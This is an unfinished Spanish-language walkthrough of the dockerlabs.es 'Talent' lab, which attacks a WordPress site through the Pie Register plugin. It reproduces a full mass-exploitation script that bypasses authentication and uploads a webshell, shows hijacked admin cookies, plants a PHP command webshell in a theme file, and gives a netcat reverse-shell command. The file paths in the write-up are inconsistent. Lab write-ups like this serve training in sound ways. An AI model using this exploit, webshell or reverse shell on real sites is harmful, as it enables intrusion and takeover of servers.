0. Taller de hacking ético dockerlabs.es: Talent
- Plataforma: dockerlabs.es
- Nombre de la máquina: Talent
- Estado del laboratorio: WIP
- Dificultad: Medio
- URL del taller: https://dockerlabs.es/maquinas/219/
1. Reconocimiento inicial.
comprobación de la conectividad
ping -c 2 -W 2 172.17.0.2
Envía 4 paquetes ICMP con timeout de 2 s. El TTL=64 indica host Linux; tiempos ~0,05 ms confirman que es local (contenedor Docker).
Escaneo de puertos completo
nmap -sC -sV -Pn -n -T4 -p- --open -oN scan_full.txt 172.17.0.2
-p-: escanea los 65535 puertos TCP.-sV: detección de versión de servicio.-sS: escaneo silencioso-sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).-Pn: para no ejecutar el comandoping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.-n: Para que no haga la resolución de DNSs--open: muestra solo puertos abiertos.-T4: plantilla de velocidad "agresiva" (adecuada en local).-oN: guarda la salida en texto normal.
Vemos que solo el puerto 80 está abierto y que es un WordPress con la versión 6.9.1 (que no es la última) por lo que podríamos usar wpscan para ver plugins, usuarios y temas vulnerables.
Cabeceras HTTP y tecnología
curl -sI http://172.17.0.2/
-sI envía una petición HEAD (solo cabeceras) que nos sirve para ver Server, Link (REST API de WordPress) y Content-Type
whatweb -a 3 http://172.17.0.2/
whatweb -a 3 usa agresividad 3 para identificar CMS, plugins y versiones.
2. Enumeración de drectorios y archivos
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirb/common.txt -t 50
-uurldirmodo directorios-wdiccionario (ruta al mismo)-t 50número de hilos (50)
A veces da problemas así que probamos:
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirb/common.txt -t 50 -b 204,301,302,307,401,403
-b le está indicando a Gobuster que ignore cualquier URL o directorio que devuelva alguno de esos códigos HTTP.
- 204: No Content -> La petición fue con éxito, pero la respuesta no tiene contenido.
- 301: Moved Permanently -> Redirección permanente. Si la herramienta genera muchos falsos positivos por redirecciones masivas a una misma página.
- 302: Found -> (Redirección temporal) Redirección temporal. Muy común cuando te redirige al login de nuevo o a una página genérica.
- 307: Temporary Redirect -> Otra variante de redirección temporal.
- 401: Unauthorized -> Requiere autenticación (HTTP Basic Auth, etc.).
Usamos wpscan para afinar
Ta que se trata de un WordPress, veamos su obtenemos una lista de usuarios y de plugins:
wpscan --url http://172.17.0.2 -e u,p,t
u: enumeramos nombres de usuariop: enumeramos los plugins vulnerablest: enumeramos los temas más populares
Hemos encontrado cositas (omito lo no significativo):
[+] admin
| Found By: Rss Generator (Passive Detection)
Brute Forcing Author IDs - Time: 00:00:00 <======> (10 / 10) 100.00% Time: 00:00:00
[i] 1 user(s) Identified.
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 0
| Requests Remaining: 21
[+] Finished: Sat Nov 7 12:54:16 2026
[+] Requests Done: 26
[+] Cached Requests: 40
[+] Most response codes received: 200: 12, 404: 9, 301: 3, 206: 1, 302: 1
[+] Data Sent: 7.037 KB
[+] Data Received: 593.021 KB
[+] Memory used: 187.609 MB
[+] Elapsed time: 00:00:01
[+] WordPress theme in use: twentytwentyfive
| Location: http://172.17.0.2/wp-content/themes/twentytwentyfive/
| Last Updated: 2026-05-19 10:00pm GMT (5 months ago, per WordPress.org)
| Active Installs: 1,000,000 (per WordPress.org)
| Readme: http://172.17.0.2/wp-content/themes/twentytwentyfive/readme.txt
| [!] The version is out of date, the latest version is 1.5
| [!] Directory listing is enabled
| Style URL: http://172.17.0.2/wp-content/themes/twentytwentyfive/style.css
| Style Name: Twenty Twenty-Five
[+] pie-register
| Location: http://172.17.0.2/wp-content/plugins/pie-register/
| Last Updated: 2026-11-04 7:30am GMT (3 days ago, per WordPress.org)
| Active Installs: 1,000 (per WordPress.org)
| Readme: http://172.17.0.2/wp-content/plugins/pie-register/readme.txt
| [!] The version is out of date, the latest version is 3.8.4.17
| [!] Directory listing is enabled
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 14 vulnerabilities identified:
|
| [!] Title: Pie Register < 3.7.1.6 - Unauthenticated SQL Injection
| UUID: 6bed00e4-b363-43b8-a392-d068d342151a
| Fixed in: 3.7.1.6
| References:
| - https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24731
|
| [!] Title: Pie Register < 3.7.2.4 - Open Redirect
| UUID: f6efa32f-51df-44b4-bbba-e67ed5785dd4
| Fixed in: 3.7.2.4
| Reference: https://wpscan.com/vulnerability/f6efa32f-51df-44b4-bbba-e67ed5785dd4
|
| [!] Title: Pie Register < 3.8.1.3 - Unauthenticated Arbitrary User Deletion
| UUID: a087fb45-6f6c-40ac-b48b-2cbceda86cbe
| Fixed in: 3.8.1.3
| References:
| - https://wpscan.com/vulnerability/a087fb45-6f6c-40ac-b48b-2cbceda86cbe
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4024
|
| [!] Title: Pie Register < 3.8.3.3 - Unauthenticated Arbitrary File Upload
| UUID: 6835b9d3-8d61-485a-aa2b-f88377156ad4
| Fixed in: 3.8.3.3
| References:
| - https://wpscan.com/vulnerability/6835b9d3-8d61-485a-aa2b-f88377156ad4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27957
| - https://patchstack.com/database/wordpress/plugin/pie-register/vulnerability/wordpress-pie-register-plugin-3-8-3-1-unauthenticated-arbitrary-file-upload-vulnerability
|
| [!] Title: Pie Register - Basic <= 3.8.3.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation and Activation/Deactivation
| UUID: f1b3518a-8118-465e-8baa-4dde3176dd01
| Fixed in: 3.8.3.5
| References:
| - https://wpscan.com/vulnerability/f1b3518a-8118-465e-8baa-4dde3176dd01
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6069
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/b946ee73-4cf9-48c8-b456-285b118c6b05
|
| [!] Title: Registration Forms < 3.8.4.1 - Sensitive Information Exposure via Log Files
| UUID: a43acac7-e4cd-421a-ab6f-567e0bd7fbb6
| Fixed in: 3.8.4.1
| References:
| - https://wpscan.com/vulnerability/a43acac7-e4cd-421a-ab6f-567e0bd7fbb6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13818
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/768730c1-a70e-432d-a234-4ce2b8aec424
|
| [!] Title: Pie Register < 3.8.4.9 - Missing Authorization
| UUID: d9b71c95-63a8-4de7-8ae0-5babf2fc05a4
| Fixed in: 3.8.4.9
| References:
| - https://wpscan.com/vulnerability/d9b71c95-63a8-4de7-8ae0-5babf2fc05a4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24577
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4a1b869-42d2-4b6d-8e6a-853325e2afde
|
| [!] Title: Pie Register – User Registration, Profiles & Content Restriction < 3.8.4.9 - Missing Authorization to Unauthenticated Registration Form Status Modification
| UUID: 13a1ef1e-6134-4f70-974a-764a94f19b8f
| Fixed in: 3.8.4.9
| References:
| - https://wpscan.com/vulnerability/13a1ef1e-6134-4f70-974a-764a94f19b8f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3571
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/3137a85e-82e3-4111-ae60-1bcf1abd0c0b
|
| [!] Title: Pie Register < 3.8.4.10 - Unauthenticated Email Verification Bypass via Predictable Token
| UUID: bd3fe1d2-9f21-4b51-9112-2971a25a7e62
| Fixed in: 3.8.4.10
| References:
| - https://wpscan.com/vulnerability/bd3fe1d2-9f21-4b51-9112-2971a25a7e62
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10530
| - https://plugins.trac.wordpress.org/browser/pie-register/tags/3.8.4.9/pie-register.php#L4012
| - https://plugins.trac.wordpress.org/browser/pie-register/tags/3.8.4.9/pie-register.php#L3972
| - https://plugins.trac.wordpress.org/browser/pie-register/tags/3.8.4.9/pie-register.php#L4295
| - https://www.youtube.com/watch?v=https://drive.google.com/file/d/1OtCuDIKAly4ySkwx3dr5l3Wy-6HNwj50/view?usp=sharing
|
| [!] Title: Pie Register < 3.8.4.14 - Unauthenticated User Email Disclosure via Invitation Code
| UUID: bf634ddf-277e-46a4-9e5b-7253b3e02979
| Fixed in: 3.8.4.14
| References:
| - https://wpscan.com/vulnerability/bf634ddf-277e-46a4-9e5b-7253b3e02979
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96962
|
| [!] Title: Pie Register – User Registration, Profiles & Content Restriction < 3.8.4.14 - Unauthenticated Information Exposure
| UUID: a84596b4-1fd6-44e6-86b4-4d822ac31ff2
| Fixed in: 3.8.4.14
| References:
| - https://wpscan.com/vulnerability/a84596b4-1fd6-44e6-86b4-4d822ac31ff2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103345
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/3bfa2e31-90c4-45b0-a5f8-60037eca2cf3
|
| [!] Title: Pie Register < 3.8.4.16 - Unauthenticated Plugin Settings Reset and Redirect Data Destruction
| UUID: d7de0e99-2637-40a3-9cdd-b633363334e0
| Fixed in: 3.8.4.16
| References:
| - https://wpscan.com/vulnerability/d7de0e99-2637-40a3-9cdd-b633363334e0
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96961
|
| [!] Title: Pie Register < 3.8.4.17 - Unauthenticated Stored Cross-Site Scripting via 'first_name' Parameter via Comment Avatar
| UUID: 7c7849a2-d970-4e91-8182-fe2f0bcae302
| Fixed in: 3.8.4.17
| References:
| - https://wpscan.com/vulnerability/7c7849a2-d970-4e91-8182-fe2f0bcae302
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-119158
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/dd9a4fa5-17b0-41dc-94f9-b07ada23a6e1
|
| Version: 3.7.1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.17.0.2/wp-content/plugins/pie-register/readme.txt
[+] theme-my-login
| Location: http://172.17.0.2/wp-content/plugins/theme-my-login/
| Latest Version: 7.3.1
| Last Updated: 2026-10-13 4:56am GMT (25 days ago, per WordPress.org)
| Active Installs: 50,000 (per WordPress.org)
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.17.0.2/wp-content/plugins/theme-my-login/, status: 200
|
| [!] 8 vulnerabilities identified:
| [!] Title: Theme My Login < 7.2.2 - Unauthenticated Privilege Escalation via 'user_pass1' POST Parameter in wp_pre_insert_user_data Filter
| UUID: 756f576a-10c8-46c3-88c3-39aa18b00814
| Fixed in: 7.2.2
| References:
| - https://wpscan.com/vulnerability/756f576a-10c8-46c3-88c3-39aa18b00814
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/53c548be-b8aa-4949-93f8-7b4d73688540
|
| The version could not be determined.
[+] akismet
| Location: http://172.17.0.2/wp-content/plugins/akismet/
| Latest Version: 5.7.2
| Last Updated: 2026-08-18 11:42pm GMT (2 months ago, per WordPress.org)
| Active Installs: 5,000,000 (per WordPress.org)
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.17.0.2/wp-content/plugins/akismet/, status: 403
|
| [!] 1 vulnerability identified:
|
| [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
| UUID: 1a2f3094-5970-4251-9ed0-ec595a0cd26c
| Fixed in: 3.1.5
| References:
| - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
| - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
| - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
- Users:
- usuario admin identificado
- Tema:
- El tema en uso es twentytwentyfive y está desactualizado
- WPScan indica que "Theme > directory listing is enabled" (el listado de directorios está activo), significa que cualquier persona puede ver y navegar por la estructura de carpetas y archivos de tu tema desde su navegador web.
- Plugins:
- Akismet: Esa vulnerabilidad (CVE-2015-9357) es un Stored XSS (Cross-Site Scripting Almacenado) en el plugin Akismet (versiones $\le 3.1.4$). -Theme my login con la vulnerabilidad CVE-2026-89079 pero tiene el registro desactivado.
- Pie Register versión 3.7.1.0, desactualizado. Este plugin tiene multiples vulnerabilidades muy críticas.
Analicemos Pie register, destacan dos vulnerabilidades críticas:
- Inyección SQL sin autenticación (Unauthenticated SQL Injection):
- CVE-2021-24731 (para versiones menores a 3.7.1.6)
- Permite extraer información de la base de datos de WordPress (hashes de contraseñas de usuarios administradores, nombres de usuario, etc.) o realizar técnicas de volcado (dump) para obtener accesos que luego puedas crackear con herramientas como
hashcat.
- Subida arbitraria de ficheros sin autenticación (Unauthenticated Arbitrary File Upload):
- CVE-2024-27957 (afecta a versiones anteriores a 3.8.3.3)
- Permite subir una webshell en PHP (como un script para ejecutar comandos del sistema operativo mediante parámetros GET/POST) directamente al servidor, logrando la intrusión completa en la máquina.
- CVE-2025-34077 sd
3. Explotación de la vulnerabilidad.
3.1 Inyeccion SQL (SQLi): sin éxito
Buscamos información acerca de las vulnerabilidades encontradas y la más prometedora es la CVE-2021-24731, nos dice Google:
Un atacante no autenticado puede enviar una solicitud HTTP POST dirigida a la API REST del plugin inyectando carga útil SQL (como sentencias basadas en tiempo o uniones) a través del parámetro user_login.
Ejemplo conceptual de la petición HTTP utilizada en la prueba de concepto: http POST /wp-json/pie/v1/login HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
user_login='%20OR%20SLEEP(1)--&login_pass=a
En resumen:
- petición POST
- el endpoint exacto es: `/wp-json/pie/v1/login`
- el parámetro vulnerable es: `user_login`
Usaremos `sqlmap`. Necesitamos indicarle tanto la URL como los datos que envía (--data) o utilizar un archivo de petición para evitar errores de sintaxis.
Creamos un arquivo `talent_request.txt` con el ejemplo que nos dió Google:
```bash
POST /wp-json/pie/v1/login HTTP/1.1
Host: 172.17.0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
user_login=test&login_pass=a
Ahora ejecutamos sqlmap apuntando al parámetro vulnerable user_login, y leeremos la petición (talent_request.txt):
sqlmap -r talent_request.txt -p user_login --dbs --batch
p: parámetro que atacaremosr: Lee una petición HTTP completa desde un archivo de texto--dbs: Enumera todas las bases de datos disponibles--batch: Responde automáticamente "sí"
Lamentablemente no tenemos éxito:
WARNING] (custom) POST parameter 'JSON user_login' does not seem to be injectable
[14:01:48] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
Vamos a intentar:
sqlmap -r talent_request.txt -p user_login -D <nombre_de_la_base_de_datos> -T wp_users --dump --batch
Para ello antes debemos tratar de conocer el nombre de la base de datos, así que:
sqlmap -r talent_request.txt -p user_login --level=3 --risk=2 --dbs --batch
Sin éxito.
3.2
Vamos a probar la vulnerabilidad (CVE-2025-34077) de severidad crítica (CVSS 10.0).
Hacemos una búsqueda de exploits:
└─$ searchsploit pie register
---------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------- ---------------------------------
Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass t | multiple/webapps/52370.py
Snitz Forums 2000 - 'register.asp' SQL Injection | asp/webapps/22583.pl
WordPress Plugin Pie Register - 'wp-login.php' Multiple Cross-S | php/webapps/38643.txt
WordPress Plugin Pie Register 2.0.13 - Privilege Escalation | php/webapps/35823.txt
WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalat | php/webapps/50395.txt
WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection | php/webapps/44867.txt
---------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Searchsploit ha encontrado probablemente el script en Python que necesitamos para la vulnerabilidad: multiple/webapps/52370.py. Lo copiamos a nuestro directorio:
searchsploit -m multiple/webapps/52370.py
Antes de ejecutarlo, lo estudiamos:
# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
# Google Dork: inurl:/wp-content/plugins/pie-register/
# Date: 2025-07-09
# Exploit Author: Md Amanat Ullah (xSwads)
# Vendor Homepage: https://wordpress.org/plugins/pie-register/
# Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
# Version: <= 3.7.1.4
# Tested on: Ubuntu 22.04
# CVE: CVE-2025-34077
#!/usr/bin/env python3
import requests
import zipfile
import io
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
from threading import Lock
init(autoreset=True)
SHELL_PHP = "<?php if(isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>"
PLUGIN_DIR = "evilplugin"
ZIP_NAME = "evilplugin.zip"
SHELL_FILE = "shell.php"
OUTPUT_FILE = "Shells.txt"
HEADERS = {'User-Agent': 'Mozilla/5.0'}
TIMEOUT = 10
lock = Lock()
def FilterURLS(site):
site = site.strip()
if not site.startswith(('http://', 'https://')):
site = 'http://' + site
if not site.endswith('/'):
site += '/'
return site
def make_shell_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr(f"{PLUGIN_DIR}/{PLUGIN_DIR}.php", "<?php /* Plugin */ ?>")
z.writestr(f"{PLUGIN_DIR}/{SHELL_FILE}", SHELL_PHP)
buf.seek(0)
return buf
def exploit(target):
target = FilterURLS(target)
session = requests.Session()
data = {"social_site": "true", "user_id_social_site": "1"}
try:
r = session.post(f"{target}?pr_social_login=1", data=data, headers=HEADERS, timeout=TIMEOUT)
except:
print(f"{Fore.RED}[Failed] - {target}")
return
if not session.cookies:
print(f"{Fore.RED}[Failed] - {target}")
return
files = {"pluginzip": (ZIP_NAME, make_shell_zip(), "application/zip")}
try:
upload = session.post(f"{target}wp-admin/plugin-install.php?upload", files=files, headers=HEADERS, timeout=TIMEOUT)
except:
print(f"{Fore.RED}[Failed] - {target}")
return
if "Plugin installed successfully" in upload.text:
shell_url = f"{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}"
print(f"{Fore.GREEN}[Exploited] - {shell_url}")
with lock:
with open(OUTPUT_FILE, "a") as f:
f.write(shell_url + "\n")
else:
print(f"{Fore.RED}[Failed] - {target}")
def main(targets_file):
with open(targets_file, "r") as f:
targets = [line.strip() for line in f if line.strip()]
with ThreadPoolExecutor(max_workers=100) as executor:
futures = [executor.submit(exploit, target) for target in targets]
for _ in as_completed(futures):
pass
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} list.txt")
sys.exit(1)
main(sys.argv[1])
El script::
- Bypassea el login enviando los parámetros de inicio de sesión social fraudulentos (?pr_social_login=1 con el ID de usuario 1).
- Sube un plugin malicioso en formato ZIP (evilplugin.zip) que contiene una webshell (shell.php) directamente al gestor de plugins de WordPress, dejándote acceso remoto total por comandos.
Lo lanzamos:
python3 52370.py http://172.17.0.2
Se sigue resistiendo. Sin éxito.
Buscamos por internet y encontramo otro script: https://github.com/MrjHaxcore/CVE-2025-34077/blob/main/pie.py
Lo lanzamos y por fin obtenemos la cookie:
└─$ python3 pie.py http://172.17.0.2
_______ ________ ___ ___ ___ _____ ____ _ _ ___ ______ ______
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| |___ \| || | / _ \____ |____ |
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ __) | || |_| | | | / / / /
| | \ \/ / | __| |______| / /| | | |/ /|___ \ |______| |__ <|__ _| | | | / / / /
| |____ \ / | |____ / /_| |_| / /_ ___) | ___) | | | | |_| |/ / / /
\_____| \/ |______| |____|\___/____|____/ |____/ |_| \___//_/ /_/
by Mrj Haxcore | CVE-2025-34077
[*] Sending payload to hijack admin session...
[+] Successfully hijacked cookies for user_id=1 (admin):
wordpress_a2a379b8590d3431d7153bb3b68da0df = admin%7C1794249321%7CPsQ5r8KPtIvSd3g17hfDXwwGyHBicgGSPjyDRbhLVVI%7Cbcaf5b73d80f90c818c9fc0e017080fe68f5d3eead3837cc43835822d516ce18
wordpress_logged_in_a2a379b8590d3431d7153bb3b68da0df = admin%7C1794249321%7CPsQ5r8KPtIvSd3g17hfDXwwGyHBicgGSPjyDRbhLVVI%7Cf6b05b82c3bfc508a00766c2c8ed47759eca021592a9491a9e01a401ca21b580
[!] Use these cookies in your browser or tools like curl or Burp to act as admin.
Ahora que tenemos la cookies, vamos al navegador y la añadimos:
- Vamos a http://172.17.0.2/ y abrimos las herramientas de desarrollador > Application > Cookies
- Buscamos la cookie para http://172.17.0.2/ y añadimos manualmente la cookie de la sesión:
- Name:
wordpress_logged_in_a2a379b8590d3431d7153bb3b68da0df - Value:
admin%7C1794249321%7CPsQ5r8KPtIvSd3g17hfDXwwGyHBicgGSPjyDRbhLVVI%7Cf6b05b82c3bfc508a00766c2c8ed47759eca021592a9491a9e01a401ca21b580 - Path:
/
- Recargamos y ya estamos logueados como admin:
3.3 Webshell
Ahora que tenemos acceso como admin al PHP, inyectamos una Webshell en PHP. Nos vamos a plugins, y en cualquiera de ellos, por ejemplo Hello Dolly o buscamos la 4040.php, y añadimos este código al principio, y guardamos:
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
$cmd = ($_GET['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Luego visitamos: http://172.17.0.2/wp-content/themes/twentytwentyfive/404.php?cmd=id
Y en la terminal lazamos la Reverse Shell con Netcat:
nc -lvnp 4444
Lanza la conexión desde la víctima utilizando las capacidades de red de PHP a través de tu webshell recién creada.
Abre¡imos una pestaña nueva en la terminal y ejecutamos un comando curl que ordene al servidor conectarse a tu Netcat:
curl "http://172.17.0.2/wp-content/themes/twentytwentythree/404.php?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh -i 2>&1|nc%20172.17.X.X%204444%20>/tmp/f"
WIP
EOF
